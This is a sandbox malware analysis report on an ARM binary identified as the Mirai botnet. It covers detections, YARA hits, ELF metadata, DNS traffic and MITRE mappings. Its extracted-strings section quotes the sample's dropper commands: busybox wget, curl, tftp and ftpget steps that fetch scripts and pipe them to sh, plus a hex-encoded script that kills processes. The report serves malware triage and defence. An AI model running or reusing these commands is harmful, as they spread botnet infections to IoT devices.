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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:	arm6.elf
Analysis ID:	1670294
MD5:	cc12d49dfdabc7c7618dfa4c807fb43c
SHA1:	eec99ce7469d80b3309996fed0afe4a13ec09de0
SHA256:	6020c28e0aef04218b45d168b0ae65c745d0b6a7e8eecc70a4306357e4944df0
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670294
Start date and time:	2025-04-21 14:28:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm6.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/arm6.elf
PID:	5829
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

arm6.elf (PID: 5829, Parent: 5752, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5829.1.00007f7d14017000.00007f7d1402d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm6.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm6.elf

ReversingLabs: Detection: 38%

Source: arm6.elf

String: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm6.elf	String found in binary or memory: http:///curl.sh
Source: arm6.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@2/0

Source: /tmp/arm6.elf (PID: 5829)

Queries kernel information via 'uname':

Jump to behavior

Source: arm6.elf, 5829.1.000055a5c05a5000.000055a5c06d3000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm6.elf, 5829.1.000055a5c05a5000.000055a5c06d3000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5829.1.00007fff50e27000.00007fff50e48000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5829.1.00007fff50e27000.00007fff50e48000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
Source: arm6.elf, 5829.1.00007fff50e27000.00007fff50e48000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm6.elf, type: SAMPLE
Source: Yara match	File source: 5829.1.00007f7d14017000.00007f7d1402d000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm6.elf, type: SAMPLE
Source: Yara match	File source: 5829.1.00007f7d14017000.00007f7d1402d000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm6.elf	39%	ReversingLabs	Linux.Backdoor.Mirai
arm6.elf	100%	Avira	LINUX/GM.Mirai.ET

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	arm6.elf	false		high
http:///curl.sh	arm6.elf	false		high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	boatnet.spc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	m-i.p-s.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	x-8.6-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	a-r.m-4.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	m-p.s-l.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	a-r.m-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.112929780021154
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm6.elf
File size:	91'440 bytes
MD5:	cc12d49dfdabc7c7618dfa4c807fb43c
SHA1:	eec99ce7469d80b3309996fed0afe4a13ec09de0
SHA256:	6020c28e0aef04218b45d168b0ae65c745d0b6a7e8eecc70a4306357e4944df0
SHA512:	5e187876fb6e92f6a500a236344c36a4522c031e38f86d90f246e96a18af661f9bb64da0575f2ead0efada038a4dd49cf441746c0e657b2d4ce1d4cd3fc3767d
SSDEEP:	1536:V2NnHN09V+f8EA6AE9uh/a7LwvaBqBMcQEMoiQDJHjbU7yP5SY4nGWRH:Vk09e8EVAE92a7LwvaBSDJHjbUWPEfn9
TLSH:	5293295AB8818B22C5D512BEFE1E518D3313177CE2EF73139D20AB24778A96B0E7B505
File Content Preview:	.ELF..............(.....T...4...Pc......4. ...(......................]...]...............`...`...`..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..b.......`....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	90960
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x13fac	0x0	0x6	AX	16
.fini	PROGBITS	0x1c05c	0x1405c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1c070	0x14070	0x1c94	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x26004	0x16008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x26008	0x1600c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x26010	0x16014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x26084	0x16088	0x258	0x0	0x3	WA	4
.bss	NOBITS	0x262dc	0x162e0	0x53c8	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x162e0	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x162f0	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x15d04	0x15d04	6.1616	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x16004	0x26004	0x26000	0x2dc	0xd6a0	3.6722	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2025 14:29:29.889966965 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:30.037754059 CEST	53	55764	8.8.8.8	192.168.2.15
Apr 21, 2025 14:29:30.037828922 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:30.037894964 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:30.038572073 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:30.185729980 CEST	53	55764	8.8.8.8	192.168.2.15
Apr 21, 2025 14:29:30.186084032 CEST	53	55764	8.8.8.8	192.168.2.15
Apr 21, 2025 14:29:30.186381102 CEST	53	55764	8.8.8.8	192.168.2.15
Apr 21, 2025 14:29:30.186444998 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:30.194631100 CEST	53	55764	8.8.8.8	192.168.2.15
Apr 21, 2025 14:29:30.194783926 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:32.186160088 CEST	53	55764	8.8.8.8	192.168.2.15
Apr 21, 2025 14:29:32.186499119 CEST	55764	53	192.168.2.15	8.8.8.8
Apr 21, 2025 14:29:32.334132910 CEST	53	55764	8.8.8.8	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2025 14:29:30.037894964 CEST	192.168.2.15	8.8.8.8	0x60f7	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 14:29:30.038572073 CEST	192.168.2.15	8.8.8.8	0x72af	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 21, 2025 14:29:30.194631100 CEST	8.8.8.8	192.168.2.15	0x60f7	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Apr 21, 2025 14:29:30.194631100 CEST	8.8.8.8	192.168.2.15	0x60f7	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm6.elf PID: 5829, Parent PID: 5752

General

Start time (UTC):	12:29:27
Start date (UTC):	21/04/2025
Path:	/tmp/arm6.elf
Arguments:	/tmp/arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm6.elf PID: 5829, Parent PID: 5752

General

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Linux Analysis Report
arm6.elf